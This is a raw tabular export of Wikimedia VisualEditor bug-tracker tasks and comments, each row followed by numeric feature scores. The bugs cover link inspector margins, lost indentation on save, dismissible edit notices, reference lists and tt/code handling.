**Attached**: {F11124}",Medium,50.0,1375410180,1428490652.0,PHID-USER-sai77mtxmpqnm6pycyvz,False,PHID-USER-ydswvwhh5pm4lshahjje,True,PHID-TASK-pzog36r24v5pdzjqcxdr,task_description,resolved,True,c1,3,True,False,False,4,,0.5,0.0,0.0,0.5,0.5,5.5,3.0,0.0,0.0,0.5,1.0,0.0,0.5,0.5,1.0,0.0,0.5,5.5,10.5,0.0,0.5,0.5,0.5,0.0,0.0,0.0,0.0,0.0,0.5,0.5,0.0,3.5,2.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,2.0,0.0,0.5,0.0,0.0,0.5,14.5,0.5,1.0,0.0,0.5,0.0,0.5,0.0,0.0,0.5,0.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,8.5,4.0,6.5,4.5,1.5,10.0,0.0,0.0,0.0,0.0,3.0,0.0,0.5,0.0,1.5,10.5,1.5,0.0,0.0,0.0,1.5,0.0,0.5,1.0,0.5,0.5,1.0,0.0,0.0,3.792246835443038,0.6664556962025316,"Screenshot of problem

When the link inspector is fairly tall and the space somewhat narrow (e.g. a red link, 10 suggestions in the inspector, and the link itself is towards the bottom of the screen), the box will expand further than the page goes (triggering a scrollbar if needed).

That's fine, except that it is hard to see for the user whether there is more or not. Especially with OSX hiding scroll bars by default.

There should be some bottom margin so that it can be clearly seen that the bottom of the list is the bottom, ans eparated from the bottom of the (now expanded) page.

See attached screenshot.

--------------------------
**Version**: unspecified
**Severity**: minor

**Attached**: {F11124}"
233991,VisualEditor: Link inspector should have bottom margin to avoid cutting the page (UX),We have similar logic in the dropdown menus and dialogs already. They never touch the bottom of the window.. No Touching!,,,1403712107,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-pzog36r24v5pdzjqcxdr,task_subcomment,,True,c1,3,True,,,51,,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,17.0,0.0,4.0,17.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,4.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.208333333333333,0.9166666666666666,We have similar logic in the dropdown menus and dialogs already. They never touch the bottom of the window.. No Touching!
54399,"VisualEditor: Extending an existing DL-indentation renders correctly in CE, but doesn't come through on save","Pressing enter at the end of a colon indented line and typing more text displays as an indented, but, on save, (and review changes) the colon has not been added to the new line.

Steps to reproduce:

0. Start with a simple colon indented section. (See here: http://en.wikipedia.org/w/index.php?title=User:Markhurd/Sandbox&oldid=566721115 )
1. Edit with VE.
2. Click at end of last indented line.
3. Press Enter. Note this displays as continuing the indentation.
4. Type some text.
5. Save. Note that the colon is not included. (You can see it missing with Show Changes.)

My diff: http://en.wikipedia.org/w/index.php?title=User:Markhurd/Sandbox&diff=566721183&oldid=566721115

--------------------------
**Version**: unspecified
**Severity**: normal",Medium,50.0,1375368960,,PHID-USER-fgul5wwrgbtdpd5fved3,False,,False,PHID-TASK-jgayasapvffxzhq5zq6a,task_description,open,True,c1,3,False,False,,4,,0.5,0.0,0.0,1.0,1.0,4.5,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.5,0.5,1.5,7.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,1.5,3.0,0.5,0.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.5,0.0,0.0,0.0,0.0,0.5,11.5,0.0,0.5,0.0,0.5,0.0,0.0,0.0,0.5,0.5,0.0,0.0,1.0,0.0,0.5,0.0,0.0,0.0,4.5,1.0,13.0,0.5,1.5,5.5,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,2.0,7.0,4.5,0.0,0.0,0.0,2.0,0.0,0.0,1.5,0.0,2.5,0.5,0.0,4.5,3.3378378378378377,0.6689189189189189,"Pressing enter at the end of a colon indented line and typing more text displays as an indented, but, on save, (and review changes) the colon has not been added to the new line.

Steps to reproduce:

0. Start with a simple colon indented section. (See here: URL )
1. Edit with VE.
2. Click at end of last indented line.
3. Press Enter. Note this displays as continuing the indentation.
4. Type some text.
5. Save. Note that the colon is not included. (You can see it missing with Show Changes.)

My diff: URL

--------------------------
**Version**: unspecified
**Severity**: normal"
459942,"VisualEditor: Extending an existing DL-indentation renders correctly in CE, but doesn't come through on save",This does seem to be fixed: https://en.wikipedia.org/w/index.php?title=User:Markhurd/Sandbox&diff=662749142&oldid=646642979,,,1431858171,,PHID-USER-fgul5wwrgbtdpd5fved3,False,,,PHID-TASK-jgayasapvffxzhq5zq6a,task_subcomment,,True,c1,3,False,,,97,,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,12.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,25.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.125,1.0,This does seem to be fixed: URL
257099,"VisualEditor: Extending an existing DL-indentation renders correctly in CE, but doesn't come through on save","Created attachment 13202
VE shows the new text as indented, but it isn't

I've just reproduced this in Firefox 23/Linux/Monobook. The screenshot shows how VE displayed it, the dif showing what was actually saved is: https://en.wikipedia.org/w/index.php?title=User%3AThryduulf%2Fsandbox&diff=570859913&oldid=570858997

The trailing blank lines are bug 50995, and this may be an artefact of the same bug as the displayed blank lines do not exist in the source.

**Attached**: {F11963}",,,1377896791,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-jgayasapvffxzhq5zq6a,task_subcomment,,True,c1,3,False,,,8,,0.0,0.0,0.0,1.0,2.0,4.0,1.0,0.0,0.0,0.0,4.0,2.0,0.0,0.0,0.0,1.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,1.0,0.0,1.0,8.0,3.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,12.0,1.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,3.0,0.0,1.0,0.0,0.0,1.0,9.0,6.0,13.0,1.0,2.0,11.0,0.0,0.0,0.0,0.0,2.0,0.0,3.0,0.0,3.0,6.0,6.0,0.0,0.0,0.0,3.0,0.0,2.0,1.0,0.0,2.0,0.0,0.0,0.0,3.640449438202247,0.7078651685393258,"Created attachment 13202
VE shows the new text as indented, but it isn't

I've just reproduced this in Firefox 23/Linux/Monobook. The screenshot shows how VE displayed it, the dif showing what was actually saved is: URL

The trailing blank lines are bug 50995, and this may be an artefact of the same bug as the displayed blank lines do not exist in the source.

**Attached**: {F11963}"
54386,VisualEditor: Edit notices (and other toolbar notices) should have a close button,"It isn't obvious to all users that clicking on the warning about Wikitext will make it disappear.

For example, PamD at en.wp said:
""I edited an article and found I'd got the popup saying I'd been using wiki markup, I should go into Edit Source, my edits wouldn't be saved, etc. I knew I'd input a pair of ''s at one time but had then remembered the error of my ways, removed them, and marked the title as italic in VE style, so was pretty confident I hadn't used any wiki markup and went ahead and saved the edit (difficult because the popup was sitting on top of the savepage box).""

The main issue there is Bug 52155, but after being pointed to that bug she replied:

""so if I'd clicked on the box it would have gone away... ? Not obvious!""

It would be good to add an X in the upper right corner to indicate that it can be closed. This wouldn't change the behaviour that clicking anywhere on the box dismisses it, just give a visual indication that it can be done.

--------------------------
**Version**: unspecified
**Severity**: enhancement
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=51701
https://bugzilla.wikimedia.org/show_bug.cgi?id=52462",Medium,50.0,1375356660,1380932424.0,PHID-USER-ysftv67jxeaxdwcakvwo,False,,False,PHID-TASK-6ytamqsj45kuhfs22bx4,task_description,resolved,True,c1,3,False,False,False,4,,0.6666666666666666,0.0,0.0,1.3333333333333333,1.6666666666666667,3.6666666666666665,1.0,0.3333333333333333,0.0,0.3333333333333333,1.0,3.0,0.0,0.0,0.3333333333333333,3.3333333333333335,0.0,4.666666666666667,9.0,0.0,0.6666666666666666,0.3333333333333333,0.0,0.0,5.0,0.0,0.0,0.6666666666666666,0.6666666666666666,2.3333333333333335,0.3333333333333333,1.3333333333333333,1.6666666666666667,2.6666666666666665,1.6666666666666667,0.0,0.0,0.0,0.0,0.0,0.0,0.6666666666666666,0.0,1.6666666666666667,0.0,0.3333333333333333,0.3333333333333333,0.6666666666666666,0.3333333333333333,11.666666666666666,0.3333333333333333,0.3333333333333333,0.0,0.3333333333333333,0.0,0.0,0.0,1.0,0.3333333333333333,0.0,0.3333333333333333,1.3333333333333333,0.0,1.0,0.0,0.3333333333333333,0.0,5.666666666666667,3.6666666666666665,9.666666666666666,1.6666666666666667,2.3333333333333335,7.0,0.0,0.0,0.3333333333333333,0.0,5.333333333333333,0.0,0.6666666666666666,0.0,6.666666666666667,9.0,2.0,0.3333333333333333,1.6666666666666667,0.0,6.666666666666667,0.0,0.3333333333333333,1.3333333333333333,0.3333333333333333,1.6666666666666667,0.0,0.0,0.6666666666666666,3.506209150326798,0.7507469654528478,"It isn't obvious to all users that clicking on the warning about Wikitext will make it disappear.

For example, PamD at en.wp said:
""I edited an article and found I'd got the popup saying I'd been using wiki markup, I should go into Edit Source, my edits wouldn't be saved, etc. I knew I'd input a pair of ''s at one time but had then remembered the error of my ways, removed them, and marked the title as italic in VE style, so was pretty confident I hadn't used any wiki markup and went ahead and saved the edit (difficult because the popup was sitting on top of the savepage box).""

The main issue there is Bug 52155, but after being pointed to that bug she replied:

""so if I'd clicked on the box it would have gone away... ? Not obvious!""

It would be good to add an X in the upper right corner to indicate that it can be closed. This wouldn't change the behaviour that clicking anywhere on the box dismisses it, just give a visual indication that it can be done.

--------------------------
**Version**: unspecified
**Severity**: enhancement
**See Also**:
URL
URL"
256368,VisualEditor: Edit notices (and other toolbar notices) should have a close button,"Change 87034 merged by jenkins-bot:
Toolbar action widgetization and UI refactoring

https://gerrit.wikimedia.org/r/87034",,,1380932250,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-6ytamqsj45kuhfs22bx4,task_subcomment,,True,c1,3,False,,,13,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0588235294117645,1.0,"Change 87034 merged by jenkins-bot:
Toolbar action widgetization and UI refactoring

GERRIT_URL"
256359,VisualEditor: Edit notices (and other toolbar notices) should have a close button,"Change 87034 had a related patch set uploaded by Jforrester:
Toolbar action widgetization and UI refactoring

https://gerrit.wikimedia.org/r/87034",,,1380844342,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-6ytamqsj45kuhfs22bx4,task_subcomment,,True,c1,3,False,,,13,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,25.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.3,1.0,"Change 87034 had a related patch set uploaded by Jforrester:
Toolbar action widgetization and UI refactoring

GERRIT_URL"
256351,VisualEditor: Edit notices (and other toolbar notices) should have a close button,"Rephrased bug to not mention ""wikitext message"". Instead focussing on notices that pop out of the toolbar, which are indeed created by VisualEditor.",,,1380728868,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-6ytamqsj45kuhfs22bx4,task_subcomment,,True,c1,3,True,,,13,,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,18.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,4.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,4.0,18.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,4.0,0.0,4.0,4.0,4.0,4.0,11.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,18.0,4.0,0.0,7.0,0.0,0.0,0.0,7.0,0.0,0.0,4.0,0.0,0.0,0.0,4.5,0.9285714285714286,"Rephrased bug to not mention ""wikitext message"". Instead focussing on notices that pop out of the toolbar, which are indeed created by VisualEditor."
256343,VisualEditor: Edit notices (and other toolbar notices) should have a close button,"These alerts are rendered by a MediaWiki core interface. VisualEditor just calls mw.notify. It does not and should not be modifying those alerts by other means.

Please file a bug in core for this (or move/depends-on this bug).",,,1380728803,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-6ytamqsj45kuhfs22bx4,task_subcomment,,True,c1,3,True,,,13,,0.0,0.0,0.0,2.0,4.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,10.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,18.0,2.0,6.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,10.0,0.0,4.0,12.0,0.0,0.0,0.0,0.0,4.0,2.0,0.0,0.0,2.0,10.0,4.0,0.0,0.0,0.0,2.0,0.0,0.0,4.0,0.0,2.0,0.0,0.0,0.0,3.8979591836734695,0.7959183673469388,"These alerts are rendered by a MediaWiki core interface. VisualEditor just calls mw.notify. It does not and should not be modifying those alerts by other means.

Please file a bug in core for this (or move/depends-on this bug)."
256335,VisualEditor: Edit notices (and other toolbar notices) should have a close button,"en.wp user Mark M comments re the wikitext warning:
""It wasn't obvious to me how to get rid of the notice. In fact, it popped up and partially cover the ""save"" button in such a way that when I tried to click save, nothing happened, and the notice was still there! For a few seconds I thought I wouldn't be able to save my changes at all, even though I'd removed the wikitext. Fortunately I kept clicking nearby (in frustration) and the notice disappeared. But I would have been helped if there had simply been a ""dismiss"" button, or something similar, that indicates you should click on it to dismiss it. This wasn't obvious to me.""",,,1376486603,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-6ytamqsj45kuhfs22bx4,task_subcomment,,True,c1,3,False,,,6,,1.0,0.5,0.0,0.5,1.5,5.0,2.5,0.0,0.5,0.5,1.5,2.5,0.0,0.5,0.5,5.5,0.0,8.5,10.5,1.0,2.5,0.5,0.0,0.0,6.5,0.0,0.0,0.5,0.0,1.0,0.0,1.0,3.0,2.5,1.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.5,0.0,0.0,0.0,7.5,2.0,0.0,0.0,0.5,0.0,0.0,0.0,1.5,1.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,5.0,4.0,8.0,3.0,3.0,6.5,0.0,0.0,0.5,0.0,5.0,0.0,0.0,0.0,8.5,10.5,1.5,0.0,3.5,0.0,8.5,0.0,1.5,1.5,1.0,0.5,0.0,0.0,0.0,3.647887323943662,0.7746478873239436,"en.wp user Mark M comments re the wikitext warning:
""It wasn't obvious to me how to get rid of the notice. In fact, it popped up and partially cover the ""save"" button in such a way that when I tried to click save, nothing happened, and the notice was still there! For a few seconds I thought I wouldn't be able to save my changes at all, even though I'd removed the wikitext. Fortunately I kept clicking nearby (in frustration) and the notice disappeared. But I would have been helped if there had simply been a ""dismiss"" button, or something similar, that indicates you should click on it to dismiss it. This wasn't obvious to me."""
256329,VisualEditor: Edit notices (and other toolbar notices) should have a close button,"There have been two independent requests for this today on en.wp (one reporting an issue on he.wp).

It was also noted that the close indication should be applied to edit notice popus too.",,,1375816630,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-6ytamqsj45kuhfs22bx4,task_subcomment,,True,c1,3,False,,,5,,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,5.0,13.0,0.0,3.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,5.0,3.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,3.0,13.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,5.0,8.0,5.0,3.0,0.0,8.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,3.0,13.0,5.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,4.131578947368421,0.9473684210526315,"There have been two independent requests for this today on en.wp (one reporting an issue on he.wp).

It was also noted that the close indication should be applied to edit notice popus too."
54371,VisualEditor: <references /> not fully populated but {{reflist}} is,"In some cases it seems that <references /> is not fully populating the references list while {{reflist}} does.
Example at: At https://en.wikipedia.org/w/index.php?title=Christian_Scott&oldid=566681769

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=50094",Medium,50.0,1375341060,1386608699.0,PHID-USER-ysftv67jxeaxdwcakvwo,False,,False,PHID-TASK-cjrfpthlsv4urm5hyivq,task_description,declined,True,c1,3,False,False,False,4,,2.0,0.0,2.0,0.0,2.0,3.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,5.0,8.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,2.0,0.0,0.0,2.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,2.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,15.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,8.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,3.3559322033898304,0.6271186440677966,"In some cases it seems that <references /> is not fully populating the references list while {{reflist}} does.
Example at: At URL

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
URL"
255166,VisualEditor: <references /> not fully populated but {{reflist}} is,Both lists have the same references for me. Please re-open if you think there is still a problem.,,,1386608699,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-cjrfpthlsv4urm5hyivq,task_subcomment,,True,c1,3,True,,,23,,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,5.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,9.0,5.0,9.0,5.0,0.0,14.0,0.0,0.0,0.0,0.0,9.0,5.0,0.0,0.0,9.0,14.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,3.6363636363636362,0.9545454545454546,Both lists have the same references for me. Please re-open if you think there is still a problem.
255160,VisualEditor: <references /> not fully populated but {{reflist}} is,"Hi Chris, what I see there is the entire section being duplicate, in both view and edit mode. I am probably missing something :)",,,1378988819,,PHID-USER-wil4b5lylrvf3krixlkl,False,,,PHID-TASK-cjrfpthlsv4urm5hyivq,task_subcomment,,True,c1,3,False,,,10,,0.0,4.0,0.0,0.0,0.0,7.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,7.0,0.0,4.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,11.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,4.0,11.0,15.0,0.0,4.0,7.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,7.0,4.0,4.0,0.0,0.0,0.0,7.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,3.888888888888889,0.9259259259259259,"Hi Chris, what I see there is the entire section being duplicate, in both view and edit mode. I am probably missing something :)"
255154,VisualEditor: <references /> not fully populated but {{reflist}} is,"Not a duplicate, AFAICT.",,,1375381795,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-cjrfpthlsv4urm5hyivq,task_subcomment,,True,c1,3,True,,,4,,0.0,0.0,0.0,0.0,17.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,33.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,3.5,1.0,"Not a duplicate, AFAICT."
255149,VisualEditor: <references /> not fully populated but {{reflist}} is,"

%%%*** This bug has been marked as a duplicate of bug 50094 ***%%%",,,1375381498,,PHID-USER-j5ma2nageni56xp567v5,False,,,PHID-TASK-cjrfpthlsv4urm5hyivq,task_subcomment,,True,c1,3,False,,,4,,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,4.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,25.0,4.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,2.3333333333333335,0.5416666666666666,"

%%%*** This bug has been marked as a duplicate of bug 50094 ***%%%"
54365,Explore performance gains from progressive (JIT?) de-alienation in VisualEditor,"Random idea that might improve load performance: initially alienate the entire document, then progressively convert and dealienate it. This should bring the editor into view quickly and allow the first paragraph to be edited quickly while the rest of the page is still processing.

Possible pitfall: reference numbering and other crazy stuff in MWReferenceNode

See {T76544} for the same idea, but for content blocks.",Medium,50.0,1375323540,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,False,PHID-TASK-vpvtoerhlbprn6ollnkr,task_description,open,True,c1,3,False,False,,4,,0.0,0.0,0.0,1.0,0.0,9.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,8.0,9.0,0.0,1.0,1.0,1.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,1.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,1.0,0.0,20.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,8.0,3.0,8.0,1.0,5.0,9.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,1.0,9.0,3.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,4.746666666666667,0.8,"Random idea that might improve load performance: initially alienate the entire document, then progressively convert and dealienate it. This should bring the editor into view quickly and allow the first paragraph to be edited quickly while the rest of the page is still processing.

Possible pitfall: reference numbering and other crazy stuff in MWReferenceNode

See {T76544} for the same idea, but for content blocks."
54352,VisualEditor: <tt> annotations should be handled by the <code> annotation code,"en.wp user Cryptic C62 comments:
""Take a look at the text this page. The first two sentences may appear to be identical. If one activates VE, one will find that the first sentence (which employs <tt>) cannot be edited, but the second one (which employs <code>) can. My question is this: If the editor is supposed to be visually intuitive, why are two (almost) visually identical elements handled differently? ""

The page referred to is: https://en.wikipedia.org/w/index.php?title=User:Cryptic_C62/sandbox&oldid=566625027

--------------------------
**Version**: unspecified
**Severity**: enhancement",Medium,50.0,1375304640,1375933962.0,PHID-USER-ysftv67jxeaxdwcakvwo,False,,False,PHID-TASK-sug5dsmkfrgqkbno76mo,task_description,resolved,True,c1,3,False,False,True,4,,0.0,0.0,0.0,1.5,0.5,5.0,2.0,0.0,0.0,1.5,0.0,0.0,0.0,1.0,0.0,1.0,0.0,4.5,4.5,0.0,1.5,0.0,0.0,0.0,1.0,0.0,0.0,0.0,2.0,0.5,0.0,5.5,1.5,0.0,0.5,0.0,0.5,1.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.5,0.0,0.0,0.5,7.5,1.0,0.5,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,4.0,5.0,8.0,2.5,0.5,6.5,0.0,0.0,0.0,0.0,3.5,0.0,2.0,0.0,1.5,4.5,2.5,1.0,1.5,0.0,1.5,0.0,2.0,0.5,0.0,0.0,0.0,0.0,2.0,3.7627118644067794,0.7542372881355932,"en.wp user Cryptic C62 comments:
""Take a look at the text this page. The first two sentences may appear to be identical. If one activates VE, one will find that the first sentence (which employs <tt>) cannot be edited, but the second one (which employs <code>) can. My question is this: If the editor is supposed to be visually intuitive, why are two (almost) visually identical elements handled differently? ""

The page referred to is: URL

--------------------------
**Version**: unspecified
**Severity**: enhancement"
254224,VisualEditor: <tt> annotations should be handled by the <code> annotation code,"Change 77389 merged by jenkins-bot:
Handle <tt> as textStyle/code

https://gerrit.wikimedia.org/r/77389",,,1375933535,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-sug5dsmkfrgqkbno76mo,task_subcomment,,True,c1,3,False,,,5,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,5.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,3.6842105263157894,1.0,"Change 77389 merged by jenkins-bot:
Handle <tt> as textStyle/code

GERRIT_URL"
254217,VisualEditor: <tt> annotations should be handled by the <code> annotation code,"Change 77389 had a related patch set uploaded by Esanders:
Handle <tt> as textStyle/code

